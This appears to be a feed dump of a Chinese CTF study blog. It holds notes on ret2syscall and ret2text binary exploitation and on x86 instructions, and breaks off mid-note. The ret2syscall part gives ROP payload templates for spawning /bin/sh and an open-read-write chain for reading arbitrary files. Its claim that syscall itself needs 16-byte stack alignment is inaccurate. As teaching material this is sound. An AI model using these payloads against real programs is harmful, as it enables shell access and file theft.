### 构造 execve(&quot;/bin/sh&quot;) 示例流程

典型 ret2syscall 构造链：

1. 在可控地址放置字符串 &quot;/bin/sh\0&quot;
    
2. 找到 pop 寄存器的 gadgets:
    
    - pop rdi; ret
        
    - pop rsi; ret
        
    - pop rdx; ret
        
    - pop rax; ret
        
3. 设置寄存器
    
4. 跳到 syscall
    

### 跳板栈图（ASCII 栈图示例）

以下是一个典型 top-down 栈图，你偏好的 rbp-x 风格在 ROP 中对应 rsp+x 偏移，我保持一致画法：

```
rsp+0x00  → [ pop rax; ret ]
rsp+0x08  → [ 59 ]                  ; execve syscall number
rsp+0x10  → [ pop rdi; ret ]
rsp+0x18  → [ binsh_addr ]          ; &quot;/bin/sh&quot;
rsp+0x20  → [ pop rsi; ret ]
rsp+0x28  → [ 0 ]
rsp+0x30  → [ pop rdx; ret ]
rsp+0x38  → [ 0 ]
rsp+0x40  → [ syscall ]             ; 最终触发 execve(&quot;/bin/sh&quot;,0,0)
```

真实执行顺序：

1. pop rax → rax=59
    
2. pop rdi → rdi=&quot;/bin/sh&quot;
    
3. pop rsi → rsi=0
    
4. pop rdx → rdx=0
    
5. syscall → execve(&quot;/bin/sh&quot;)
    

### 放置 &quot;/bin/sh&quot; 字符串

一般写在 bss 段：

```
binsh = bss_addr + 0x100
payload += pop_rdi; ret
payload += binsh
payload += write_str(&quot;/bin/sh\0&quot;)
```

或直接用 libc 中的地址（如果 libc 泄露了）：

```
next(libc.search(b&quot;/bin/sh&quot;))
```

但 ret2syscall 通常不依赖 libc，所以推荐写到 bss。

### 常用 syscall 组合模板

以下结构可直接套用。

#### execve(&quot;/bin/sh&quot;, 0, 0)

```python
payload  = b&quot;A&quot;*offset
payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
```

#### open-read-write 套路

先打开文件再读写：

```
rax = 2   open
rdi = filename
rsi = 0
rdx = 0
syscall

rax = 0   read
rdi = fd
rsi = buf
rdx = len
syscall

rax = 1   write
rdi = 1
rsi = buf
rdx = len
syscall
```

可用于读 flag、读任意文件。

### 常见坑位

#### 1. syscall gadget 可能失败

有些程序带自定义沙箱，或者 `syscall` 在某些段不可执行。

#### 2. 栈对齐问题（非常关键）

在 x86_64 下，执行 syscall 前系统要求：

```
rsp % 16 == 0
```

否则 crash（或触发意外行为）。

通常让 ret 后的栈地址为：

```
payload_len % 16 == 8
```

因为 ret 会使 rsp+=8，使其变成 16 对齐。

#### 3. 找不到 pop 寄存器 gadget

可以使用 __libc_csu_init 的万能 gadget（你经常用的 ret2csu）来设置寄存器。

#### 4. 程序中没有 syscall？

这类题会在某处隐藏 syscall，一般在：

```
__libc_start_main init stub
错误处理段
exit stub
```

### ret2syscall vs ret2libc / ret2system

对比：

|方法|依赖|优势|
|---|---|---|
|ret2libc|libc 泄露|稳定|
|ret2system|libc 中的 system()|构造简单|
|ret2syscall|只需要 syscall 和一些 pop gadgets|**最轻依赖、最通用，可绕过禁用 libc 的环境**|

**在无 PIE、无 NX、无 Canaries 的情况：ret2syscall 是最强武器。**

---</content:encoded></item><item><title>ret2text</title><link>https://goosequill.erina.top/zh-cn/blog/202511263542/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511263542/</guid><description>ret2text 的导入笔记</description><pubDate>Wed, 26 Nov 2025 06:35:00 GMT</pubDate><content:encoded>##  ret2text

# ret2text 技术详解
## 技术概述
ret2text（Return to .text）是二进制漏洞利用中最基础且经典的控制流劫持技术。该技术通过覆盖栈上的返回地址，&lt;mark&gt;使函数返回时跳转到程序代码段&lt;/mark&gt;（.text section）中已有的特定代码位置，从而改变程序的正常执行流程。

作为PWN入门必须掌握的第一种利用技术，ret2text体现了控制流劫持的核心思想：**谁控制了返回地址，谁就控制了程序执行流**。这种技术&lt;u&gt;不依赖外部库函数&lt;/u&gt;，完全利用程序自身的代码片段，&lt;u&gt;具有较高的可靠性和通用性。&lt;/u&gt;
## 技术原理深度解析
### 核心机制
ret2text技术的核心在于理解函数调用栈的运作机制。当函数执行时，其返回地址保存在栈帧的固定位置。通过栈溢出等内存破坏漏洞，攻击者可以覆盖这个返回地址，将其修改为程序代码段内特定指令的地址。

从技术实现角度分析，ret2text利用了x86/x64架构中`ret`指令的工作方式：该指令从栈顶弹出数据并跳转到该地址执行。通过精心构造的溢出数据，攻击者可以控制`ret`指令的行为，实现任意代码位置跳转。
### 内存布局要求
成功的ret2text攻击需要满足以下内存布局条件：
1. **代码段位置固定**：程序不应启用*PIE（Position Independent Executable）* 保护，否则代码段基址随机化会增加定位难度
2. **目标地址可执行**：目标代码位置必须具有执行权限，这通常在现代系统的代码段中自然满足
3. **栈地址可预测**：在ASLR启用的情况下，需要能够预测或泄露栈地址以精确覆盖返回地址

## 适用场景分析
### 理想应用环境
ret2text技术最适合以下场景：
- **禁用PIE编译**：程序编译时未添加`-pie`参数，代码段加载地址固定
- **存在危险函数**：程序中包含`system`、`execve`等可直接获取shell的函数
- **栈溢出漏洞**：存在可覆盖返回地址的栈缓冲区溢出
- **NX保护禁用或可绕过**：目标代码区域具有执行权限

### 典型漏洞匹配
该技术主要适用于以下漏洞类型：
- 栈缓冲区溢出：经典的栈溢出漏洞
- &lt;mark&gt;格式化字符串漏洞&lt;/mark&gt;配合栈写入能力
- 某些栈上的&lt;mark&gt;off-by-one溢出&lt;/mark&gt;情况

## 技术实现步骤
### 基础利用流程
1. **漏洞识别与分析**
   - 确定存在栈溢出漏洞的输入点
   - 分析溢出点与返回地址的偏移量
   - 使用调试工具（如gdb）验证偏移量准确性

2. **目标函数定位**
   - 使用反汇编工具（如IDA、objdump）分析程序
   - 寻找可直接利用的危险函数（如`system(&quot;/bin/sh&quot;)`）
   - 记录目标函数的准确地址

3. **载荷构造**
   ```python
   # 典型payload结构
   payload = b&quot;A&quot; * offset    # 填充至返回地址前
   payload += p64(target_addr) # 覆盖返回地址为目标函数地址
   ```

4. **利用验证**
   - 发送构造的payload到目标程序
   - 验证控制流是否成功跳转到目标函数
   - 获取shell或执行预期操作

### 参数传递技巧
当目标函数需要参数时，需要额外的栈帧构造：
- **x86架构**：按照cdecl调用约定，参数从右向左压栈
- **x64架构**：前几个参数使用寄存器传递（rdi, rsi, rdx等），需要寻找合适的gadget设置寄存器

## 技术演进与关联
### 与其他技术的关系
ret2text是更复杂利用技术的基础：
- **[[ret2libc]]**：当程序本身没有危险函数时，跳转到libc库函数
- **[[ROP]]技术**：通过多个代码片段链式执行复杂操作
- **[[SROP]]技术**：利用信号处理机制实现系统调用

### 技术局限性
ret2text的主要局限性包括：
- &lt;mark&gt;依赖程序中存在的危险函数&lt;/mark&gt;
- 对现代防护机制敏感
- 参数传递复杂时利用难度增加

---

*ret2text作为控制流劫持技术的基石，其原理和思想贯穿于整个二进制漏洞利用领域。虽然现代防护机制限制了其直接应用，但深入理解ret2text对于掌握更高级的利用技术具有不可替代的价值。建议在学习过程中注重原理理解而非单纯的工具使用，这样才能在复杂的实际环境中灵活应对各种挑战。*</content:encoded></item><item><title>Pwn</title><link>https://goosequill.erina.top/zh-cn/blog/202511251712/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511251712/</guid><description>Pwn 的导入笔记</description><pubDate>Tue, 25 Nov 2025 06:17:00 GMT</pubDate><content:encoded>##  Pwn

## PWN 总览（方向纲要）

```
      ┌────────────────────┐
      │   CTF 总览 (Hub)   │
      └─────────┬──────────┘
                │
                ▼
        ┌──────────────┐
        │     PWN      │  ← 你在这里
        └──────┬───────┘
               │
    ┌──────────┼──────────┐
    ▼          ▼          ▼
知识体系     题目复盘     工具索引
```

PWN（Binary Exploitation）是 CTF 中最能锻炼底层能力的方向。本笔记作为 PWN 方向的总领节点，用于串联所有子方向、知识分类与工具体系。

## PWN 的目标与本质

PWN 的核心目标是：
- 理解程序如何被控制
- 理解内存布局及 Linux 运行机制
- 通过漏洞构造攻击链，劫持控制流或性能行为
- 绕过各类现代安全机制

PWN 的本质是「从源代码 → 汇编 → 内存 → 控制流」的一整套推理过程。

## PWN 的整体知识结构
PWN 的知识体系大体可以分为以下几大主线：
程序基础
- 程序编译与链接流程  
- ELF 文件结构
- 调用约定（Calling Convention）  
- 栈帧结构

常见漏洞类型
- 栈溢出  
- 格式化字符串漏洞  
- 整数溢出  
- UAF（Use-After-Free）  
- Double Free  
- 堆溢出  
- Off-by-one

利用技术
- ret2text  
- ret2libc  
- ROP 链构造  
- Syscall 利用  
- 堆利用基础  
- GOT/PLT 机制  
- libc 泄露逻辑

glibc / ld.so 底层机制
- glibc 运行机制  
- 动态链接与符号解析  
- 堆管理机制（ptmalloc）

安全机制与绕过
- NX  
- PIE  
- ASLR  
- RELRO  
- Stack Canary  
- seccomp  

工具链与工作流
- pwntools  
- gdb（含 pwndbg / peda）  
- IDA  
- readelf / objdump  
- glibc-all-in-one  
- patchelf

## PWN 的学习路径（建议从这里走）
1. 建立底层基础：  
   学会用 gdb  
   理解栈帧、调用约定  
   能读懂反汇编（基础指令 + 控制流）

2. 掌握基础漏洞：  
   栈溢出 → ret2libc  
   格式化字符串 → 泄露 + 劫持  

3. 深入利用链：  
   ROP  
   Syscall  
   堆利用初步  

4. 堆方向强化：  
   chunk 结构  
   fastbin、unsortedbin 机制  
   常见堆题考点（double free、unlink 等）

5. 理解 glibc / ld.so 本质：  
   动态链接  
   符号解析  
   libc 泄露逻辑  

这是一条贯穿你未来所有复盘的学习路径。

## PWN 与其他方向的关系
- 与 Reverse 深度重叠：你需要理解函数逻辑与汇编  
- 与 Crypto、Web 不同：考察的是程序逻辑 + 底层安全  
- 与 Forensic、Misc 少耦合，但可能涉及系统理解  

你可以把 PWN 看作 CTF 中&quot;最考察对系统掌控力&quot;的方向。
## PWN 下的二级结构导航（进入子体系）
在 PWN 下你将进一步分成：
[[PWN知识体系]]（所有三级知识点的系统索引）  
[[PWN题目索引]]（所有题目复盘汇总）  
[[PWN工具索引]]（工具专题汇总）
这三者组成了 PWN 所有内容的主脉络。</content:encoded></item><item><title>CMP</title><link>https://goosequill.erina.top/zh-cn/blog/202511230551/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511230551/</guid><description>CMP 的导入笔记</description><pubDate>Sun, 23 Nov 2025 12:05:00 GMT</pubDate><content:encoded>##  CMP（cmp）

### 基本作用

CMP 用于比较两个操作数的大小，但不会存储结果，而是仅根据比较结果更新 EFLAGS。  
其核心行为等价于执行一次虚拟的减法：`op1 - op2`。

### 指令执行过程

执行时进行以下动作：

1. 计算 `op1 - op2`（结果不写回）
    
2. 根据结果更新标志位：ZF、SF、OF、CF、PF
    

### 指令格式

`cmp r/m32, r32 cmp r/m64, r64 cmp r/m32, imm32 cmp r/m64, imm32`

### 行为特性

- 不修改两个操作数
    
- 仅更新 EFLAGS
    
- 常与条件跳转（je/jne/jg/jl 等）同时使用
    
- 关键标志：
    
    - ZF = 1 → 两者相等
        
    - SF/OF/CF 用于判断大小、正负、溢出情况
        

### 常见用途

- 条件判断
    
- 循环终止判定
    
- 分支逻辑控制
    
- 逆向分析中用于推断变量关系
    
- PWN 中用于判断函数逻辑的关键分支点</content:encoded></item><item><title>栈与调用类</title><link>https://goosequill.erina.top/zh-cn/blog/202511232150/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511232150/</guid><description>栈与调用类 的导入笔记</description><pubDate>Sun, 23 Nov 2025 03:21:00 GMT</pubDate><content:encoded>##  栈与调用类

## 概述

这一类指令主导程序的调用链结构，是函数执行与返回的核心。在 PWN 中，它们是最敏感、最关键的指令：所有的栈溢出、返回地址控制、ROP、调用链劫持都围绕这些指令展开。

理解这些指令意味着掌握程序运行的骨架。

## 子类说明

栈帧构建类  
栈帧销毁类  
函数调用与返回  
控制栈指针（RSP）与基址指针（RBP）的变化  
各种攻击技术（ROP / ret2...）都依赖对这些指令行为的精准理解

## 指令列表
### 栈操作
- [[PUSH]]  
  将数据压入栈顶，并根据架构自动调整栈指针（esp/rsp）。

- [[POP]]  
  从栈顶弹出数据写入目标寄存器或内存，并递增栈指针。

### 调用与返回

- [[CALL]]  
  调用函数，自动将返回地址压栈，并将控制流跳转至目标函数。

- [[RET]]  
  从栈中弹出返回地址并跳转，是函数返回的基本机制。

### 栈帧构建与销毁

- [[LEAVE]]  
  用于函数返回前的栈帧清理：等效于 `mov rsp, rbp` 与 `pop rbp` 的组合。</content:encoded></item><item><title>数据传输类</title><link>https://goosequill.erina.top/zh-cn/blog/202511232111/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511232111/</guid><description>数据传输类 的导入笔记</description><pubDate>Sun, 23 Nov 2025 03:21:00 GMT</pubDate><content:encoded>##  数据传输类

## 概述

数据传输类指令用于在寄存器、内存、栈之间移动、加载或保存数据，是理解任意函数逻辑的基础。  
几乎每一段汇编代码的主干都是由这些指令串起来的——它们决定了“数据在哪里”，“数据要去哪里”。

## 子类说明

寄存器 ↔ 寄存器  
寄存器 ↔ 内存  
内存 ↔ 内存（少见但可能）  
特殊寻址方式处理（如 LEA 做地址计算）  
栈方向的数据传输（push/pop 同时属于栈类，但可重复出现）

## 指令列表
### 寄存器 / 内存传输

- [[MOV]]  
  在寄存器、内存、立即数之间移动数据，是最基础的数据传输指令。

- [[LEA]]  
  载入有效地址（Load Effective Address），常用于地址计算、指针运算、偏移求和。

### 与栈相关的数据操作

- [[PUSH]]  
  将数据压入栈顶，并调整栈指针（esp/rsp），构建调用环境。

- [[POP]]  
  从栈顶弹出数据写入寄存器或内存，恢复调用环境。

### 辅助

- [[XCHG]]  
  交换两个操作数的值（寄存器或内存），常用于原子操作或临时寄存器不足时的调度。</content:encoded></item><item><title>运算与逻辑类</title><link>https://goosequill.erina.top/zh-cn/blog/202511231504/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511231504/</guid><description>运算与逻辑类 的导入笔记</description><pubDate>Sun, 23 Nov 2025 03:15:00 GMT</pubDate><content:encoded>##  运算与逻辑类

## 概述
本分类包含所有对数据本身进行修改的基础指令，包括算术运算、逻辑处理以及与循环相关的增减操作。这些指令通常直接影响标志寄存器（ZF、CF、OF、SF 等），并在逆向分析、加密/解密逻辑、长度计算、状态机跳转中出现最频繁。

本分类旨在让你快速定位“数据是如何被处理的”。

## 子类说明

算术操作：对数值做加减乘除、计数、偏移相关运算  
逻辑操作：对比特结构进行变换（与、或、非、异或）  
增减操作：循环结构的常见组成部分

## 指令列表
### 算术相关
- **[[ADD]]**  
    执行加法运算，修改进位标志（CF）、溢出标志（OF）等，是最常见的数值累加方式。
- **[[SUB]]**  
    执行减法运算，同时更新标志位，常与 `cmp` 的效果类似但会真正改变操作数。
- **[[IMUL-MUL]]**  
    执行有符号（imul）与无符号（mul）乘法。运算结果可能跨越高低位寄存器（如 RDX:RAX），并会根据结果更新 OF、CF。
- **[[IDIV-DIV]]**  
    执行有符号（idiv）与无符号（div）除法，要求被除数通常放在 RDX:RAX（或 EDX:EAX）。若结果溢出或除数为 0，会触发异常。
- **[[INC]]**  
    将操作数加一，不影响 CF（Carry Flag）；常用于循环计数器、地址偏移。
- **[[DEC]]**  
    将操作数减一，同样不影响 CF；常见于倒计数循环、结构遍历。

### 逻辑相关
- **[[XOR]]**  
    按位异或，常用于清零寄存器（如 `xor eax, eax`），也用于加密与混淆。
- **[[AND]]**  
    按位与，用于屏蔽特定位、提取标志位或构造条件判断。
- **[[OR]]**  
    按位或，用于设置某些比特位，或组合逻辑条件。
- **[[NOT]]**  
    按位取反，翻转全部 bit；常用于位运算构造、快速补码处理。

### 移位类（逻辑/算术结构处理）

- **[[SHL]]**  
    逻辑左移，右侧补零；用于乘以 2ⁿ、构造位字段布局。
    
- **[[SHR]]**  
    逻辑右移，左侧补零；常用于除以 2ⁿ 或提取高位结构。
    

### 其他运算类

- **[[NOP]]**  
    空操作指令，不改变寄存器或内存内容；用于结构对齐、补位、调试与 ROP 填充。</content:encoded></item><item><title>JCC指令集</title><link>https://goosequill.erina.top/zh-cn/blog/202511220451/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511220451/</guid><description>JCC指令集 的导入笔记</description><pubDate>Sat, 22 Nov 2025 12:04:00 GMT</pubDate><content:encoded>##  JCC指令集

#### JE / JZ
（jump if equal / jump if zero）
基本作用  
当最近一次比较/算术结果为“等于”或结果为 0 时跳转。
跳转条件（逻辑）
```
ZF == 1
```
RFLAGS（完整图）
```
+-------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
|carry|zero |sign |overflow|parity|aux|
+-------------------------------+
|  ?  | [1] |  ?  |  ?  |  ?  |  ?  |
+-------------------------------+
```
等效表达
```
if (ZF == 1) jump;
```
常见用途  
字符串或数值相等判断后分支（`cmp` 后常用）。
#### JNE / JNZ
（jump if not equal / jump if not zero）
基本作用  
当最近一次比较/算术结果不等或结果非 0 时跳转。
跳转条件

```
ZF == 0
```

RFLAGS（完整图）

```
+-------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
+-------------------------------+
|  ?  | [0] |  ?  |  ?  |  ?  |  ?  |
+-------------------------------+
```

等效表达

```
if (ZF == 0) jump;
```

常见用途  
循环继续、查找失败继续等。

#### JA / JNBE
（jump if above / jump if not below or equal） （无符号 a &gt; b）
基本作用  
用于无符号比较，表示严格大于（a &gt; b，unsigned）。

跳转条件

```
(CF == 0) &amp;&amp; (ZF == 0)
```

RFLAGS（完整图）

```
+-------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
+-------------------------------+
| [0] | [0] |  ?  |  ?  |  ?  |  ?  |
+-------------------------------+
```

等效表达

```
if (!CF &amp;&amp; !ZF) jump; // unsigned a &gt; b
```

常见用途  
内存长度、无符号索引比较等。

#### JAE / JNB / JNC
（jump if above or equal / jump if not below / jump if not carry） （无符号 a &gt;= b）
基本作用  
无符号比较的 &gt;=：没有借位（carry）。

跳转条件

```
CF == 0
```

RFLAGS（完整图）

```
+-------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
+-------------------------------+
| [0] |  ?  |  ?  |  ?  |  ?  |  ?  |
+-------------------------------+
```

等效表达

```
if (!CF) jump; // unsigned a &gt;= b
```

常见用途  
边界检查（unsigned）。

备注  
JAE = JNB = JNC（常见别名）。

#### JB / JNAE / JC
（jump if below / jump if not above or equal / jump if carry） （无符号 a &lt; b）
基本作用  
无符号小于（有借位）。

跳转条件

```
CF == 1
```

RFLAGS（完整图）

```
+-------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
+-------------------------------+
| [1] |  ?  |  ?  |  ?  |  ?  |  ?  |
+-------------------------------+
```

等效表达

```
if (CF == 1) jump; // unsigned a &lt; b
```

常见用途  
错误/边界判断。  
备注：JC（jump if carry）是 JB 的别名。

#### JBE / JNA
（jump if below or equal / jump if not above） （无符号 a &amp;lt;= b）
基本作用  
无符号小于等于。

跳转条件

```
(CF == 1) || (ZF == 1)
```

RFLAGS（完整图）

```
+-------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
+-------------------------------+
| [1] |  ?  |  ?  |  ?  |  ?  |  ?  |
|  OR | [1] |     |     |     |     |
+-------------------------------+
```

等效表达

```
if (CF || ZF) jump; // unsigned a &lt;= b
```

常见用途  
数组/缓冲边界检查（unsigned）。

#### JG / JNLE
（jump if greater / jump if not less or equal） （有符号 a &gt; b）

基本作用  
用于有符号整数比较，判断严格大于（a &gt; b，signed）。

跳转条件

```
(ZF == 0) &amp;&amp; (SF == OF)
```

RFLAGS（完整图）

```
+-------------------------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
+-------------------------------------------------+
|  ?  | [0] | [SF]| [OF]|  ?  |  ?  |
|     |     | SF==OF (must be true)              |
+-------------------------------------------------+
```

等效表达

```
if ((ZF == 0) &amp;&amp; (SF == OF)) jump; // signed a &gt; b
```

典型用途  
有符号比较分支（如带符号整数排序或条件判断）。

#### JGE / JNL
（jump if greater or equal / jump if not less） （有符号 a &gt;= b）

基本作用  
有符号 &gt;=。

跳转条件

```
SF == OF
```

RFLAGS（完整图）

```
+-------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
+-------------------------------+
|  ?  |  ?  | [SF] | [OF] |  ?  |  ?  |
|        (require SF == OF)           |
+-------------------------------+
```

等效表达

```
if (SF == OF) jump; // signed a &gt;= b
```

典型用途  
带符号边界判断。

#### JL / JNGE
（jump if less / jump if not greater or equal） （有符号 a &lt; b）
基本作用  
有符号小于。
跳转条件
```
SF != OF
```

RFLAGS（完整图）

```
+-------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
+-------------------------------+
|  ?  |  ?  | [SF] | [OF] |  ?  |  ?  |
|       (require SF != OF)             |
+-------------------------------+
```

等效表达

```
if (SF != OF) jump; // signed a &lt; b
```

典型用途  
有符号比较分支（负数相关判断）。

#### JLE / JNG
（jump if less or equal / jump if not greater） （有符号 a &amp;lt;= b）
基本作用  
有符号小于等于。
跳转条件

```
(ZF == 1) || (SF != OF)
```

RFLAGS（完整图）

```
+------------------------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
+------------------------------------------------+
|  ?  | [1] | [SF]| [OF]|  ?  |  ?  |
|  OR    (or SF != OF)                          |
+------------------------------------------------+
```

等效表达

```
if (ZF || (SF != OF)) jump; // signed a &lt;= b
```

典型用途  
有符号范围检测（&amp;lt;=）。

#### JO
（jump if overflow）
基本作用  
当上一次算术操作发生溢出（有符号溢出）时跳转。

跳转条件

```
OF == 1
```

RFLAGS（完整图）

```
+-------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
+-------------------------------+
|  ?  |  ?  |  ?  | [1] |  ?  |  ?  |
+-------------------------------+
```

等效表达

```
if (OF == 1) jump;
```

常见用途  
检测有符号溢出（例如加法/减法结果无法用目标位宽表示）。

#### JNO
（jump if not overflow）
基本作用  
当无溢出时跳转。

跳转条件

```
OF == 0
```

RFLAGS（完整图）

```
+-------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
+-------------------------------+
|  ?  |  ?  |  ?  | [0] |  ?  |  ?  |
+-------------------------------+
```

等效表达

```
if (OF == 0) jump;
```

#### JS
（jump if sign）
基本作用  
当结果为负（最高位为 1）时跳转，检查符号位。

跳转条件

```
SF == 1
```

RFLAGS（完整图）

```
+-------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
+-------------------------------+
|  ?  |  ?  | [1] |  ?  |  ?  |  ?  |
+-------------------------------+
```

等效表达

```
if (SF == 1) jump; // result negative (signed)
```

常见用途  
检测负数或有符号运算中负结果分支。

#### JNS
（jump if not sign）
基本作用  
当结果为非负（最高位为 0）时跳转。

跳转条件

```
SF == 0
```

RFLAGS（完整图）

```
+-------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
+-------------------------------+
|  ?  |  ?  | [0] |  ?  |  ?  |  ?  |
+-------------------------------+
```

等效表达

```
if (SF == 0) jump;
```

#### JP / JPE
（jump if parity / jump if parity even）
基本作用  
当最近一次算术或逻辑结果的偶校验（parity）为偶数（即 PF == 1）时跳转。PF 表示结果低 8 位中 1 的个数为偶数。

跳转条件

```
PF == 1
```

RFLAGS（完整图）

```
+-------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
+-------------------------------+
|  ?  |  ?  |  ?  |  ?  | [1] |  ?  |
+-------------------------------+
```

等效表达

```
if (PF == 1) jump;
```

常见用途  
用于某些奇偶校验或老旧代码/协议中位校验逻辑。

#### JNP / JPO
（jump if not parity / jump if parity odd）
基本作用  
当 PF == 0（奇校验）时跳转。

跳转条件

```
PF == 0
```

RFLAGS（完整图）

```
+-------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
+-------------------------------+
|  ?  |  ?  |  ?  |  ?  | [0] |  ?  |
+-------------------------------+
```

等效表达

```
if (PF == 0) jump;
```

#### JCXZ / JECXZ / JRCXZ
（jump if CX/ECX/RCX == 0）
基本作用  
检查寄存器 CX/ECX/RCX 是否为 0（按位比较立即数 0），若为 0 则跳转。常用于循环计数器为 0 的快速分支（短跳）。

跳转条件

```
(CX == 0) 或 (ECX == 0) 或 (RCX == 0)
```

RFLAGS（完整图）  
（这些指令不直接依赖 RFLAGS 的 CF/ZF 等，但逻辑上等价于比较寄存器是否为 0，因此可以理解为依赖寄存器值而非 FLAGS；为一致起见仍示意 FLAGS）

```
+-------------------------------+
| CF  | ZF  | SF  | OF  | PF  | AF  |
+-------------------------------+
|  ?  |  ?  |  ?  |  ?  |  ?  |  ?  |
+-------------------------------+
```

等效表达

```
if (RCX == 0) jump;
```

常见用途  
短循环、字符串/块处理的特例分支。

---</content:encoded></item><item><title>DEC</title><link>https://goosequill.erina.top/zh-cn/blog/202511225702/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511225702/</guid><description>DEC 的导入笔记</description><pubDate>Sat, 22 Nov 2025 11:57:00 GMT</pubDate><content:encoded>##  DEC（dec）

### 基本作用
对操作数执行 -1：  
`dest = dest - 1`
### 指令执行过程
- 将目的操作数 -1
- 更新除 CF 以外的标志位（与 SUB x,1 不同）

### 指令格式
```
dec r/m8
dec r/m16
dec r/m32
dec r/m64
```
### 行为特性
- 不修改 CF
- 修改其他常见标志（ZF、SF、OF、PF、AF）
- 与 INC 对称
- 用于循环递减、倒数计数器等

### 常见用途
- for-loop 逆向常见模式
- 指针向后移动
- 状态机中的倒数控制
- 简单计数器递减

---</content:encoded></item><item><title>INC</title><link>https://goosequill.erina.top/zh-cn/blog/202511225538/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511225538/</guid><description>INC 的导入笔记</description><pubDate>Sat, 22 Nov 2025 11:55:00 GMT</pubDate><content:encoded>##  INC（inc）

### 基本作用
INC 指令对操作数执行 +1 操作：  
`dest = dest + 1`
### 指令执行过程
- 将目的操作数 +1
- 更新除 CF 以外的标志位

### 指令格式
```
inc r/m8
inc r/m16
inc r/m32
inc r/m64
```
### 行为特性
- 不修改 CF（与 ADD x,1 的区别）
- 修改 ZF、SF、PF、OF、AF 等标志
- 动作非常快，但用于算术时需注意 OF

### 常见用途
- 递增循环计数器
- 自增栈变量、指针
- 在构造数字时逐步累加
- 某些编码器/解密器中逐字节偏移构造数据</content:encoded></item><item><title>RET</title><link>https://goosequill.erina.top/zh-cn/blog/202511225446/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511225446/</guid><description>RET 的导入笔记</description><pubDate>Sat, 22 Nov 2025 11:54:00 GMT</pubDate><content:encoded>##  RET（ret）

### 基本作用
RET 从栈顶弹出返回地址并跳转，是函数执行结束后的退出指令。
等效行为：
```
pop rip
```
带立即数版本：
```
ret 8
```
等效于：
```
pop rip
add rsp, 8
```
用于调用约定清理参数。
### 指令执行过程
1. 从 RSP 读取返回地址，赋给 RIP
2. RSP 增加 8（x64）

### 指令格式
```
ret
ret imm16
```
### 行为特性
- 完全依赖栈内容决定跳转位置
    
- 不修改 EFLAGS
    
- 是 &lt;mark&gt;ROP 攻击的核心跳板&lt;/mark&gt;
    
- 若返回地址被覆盖，程序执行流被劫持
### 常见用途
- 函数返回
- ROP chain 中的 gadgets
- 构造 ret2libc、ret2plt 等攻击模式
- 在 shellcode 中实现轻量跳转</content:encoded></item><item><title>LEAVE</title><link>https://goosequill.erina.top/zh-cn/blog/202511225340/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511225340/</guid><description>LEAVE 的导入笔记</description><pubDate>Sat, 22 Nov 2025 11:53:00 GMT</pubDate><content:encoded>##  LEAVE（leave）

### 基本作用
LEAVE 用于恢复函数调用前的栈帧，相当于清理局部变量和恢复旧的 RBP。
等效行为：
```
mov rsp, rbp
pop rbp
```
### 指令执行过程
1. 将 RBP 的值写入 RSP（丢弃局部变量区域）
2. 从栈中弹出旧 RBP

### 指令格式
```
leave
```
### 行为特性
- &lt;mark&gt;单字节指令&lt;/mark&gt;
- 函数返回前常见的 epilogue
- 清理栈帧时比手写两条指令更短、更快
- 在溢出中：当覆盖了 saved RBP 后，leave 会将该“伪 RBP”赋给 RSP
### 常见用途
- 标准函数尾部：`push rbp` → … → `leave`
- 对调试栈帧非常清晰
- 在 PWN 中可伪造 RBP，劫持后续 RET 去向</content:encoded></item><item><title>TEST</title><link>https://goosequill.erina.top/zh-cn/blog/202511225125/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511225125/</guid><description>TEST 的导入笔记</description><pubDate>Sat, 22 Nov 2025 11:51:00 GMT</pubDate><content:encoded>##  TEST（test）

### 基本作用
TEST 指令对两个操作数执行按位与（AND），但**不保存结果，只更新标志位**。  
它通常用于条件判断，例如判断寄存器是否为 0、检查某一位是否被置位等。
逻辑行为：
```
temp = op1 &amp; op2     ; 结果丢弃
更新 EFLAGS          ; 根据 temp 更新标志位
```
### 指令执行过程
- 执行按位 AND
- 结果不写回（丢弃）
- 更新 ZF、SF、PF、CF、OF、AF，其中：
    - CF = 0
    - OF = 0
    - ZF 根据结果是否为 0
    - SF 由结果最高位决定
    - PF 按偶校验更新

### 指令格式
```
test r/m32, r32
test r/m64, r64
test r/m32, imm32
test r/m8,  imm8
```
### 行为特性
- 是逻辑 AND 的“无结果版本”
- 常用于判断某一位是否为 1
- 不修改操作数（无破坏性）
- 特别适合用于分支判断与状态解析

与 AND 的区别：
- `and op1, op2` 会把结果写回 op1
- `test op1, op2` 完全不修改任何操作数，只影响标志位

等效行为示例（逻辑等价）：
```
and temp, op1, op2     ; 假设 temp 是一个不存在的寄存器
根据 temp 更新 EFLAGS
; temp 被丢弃
```
### 常见用途
- 判断寄存器是否为 0：
```
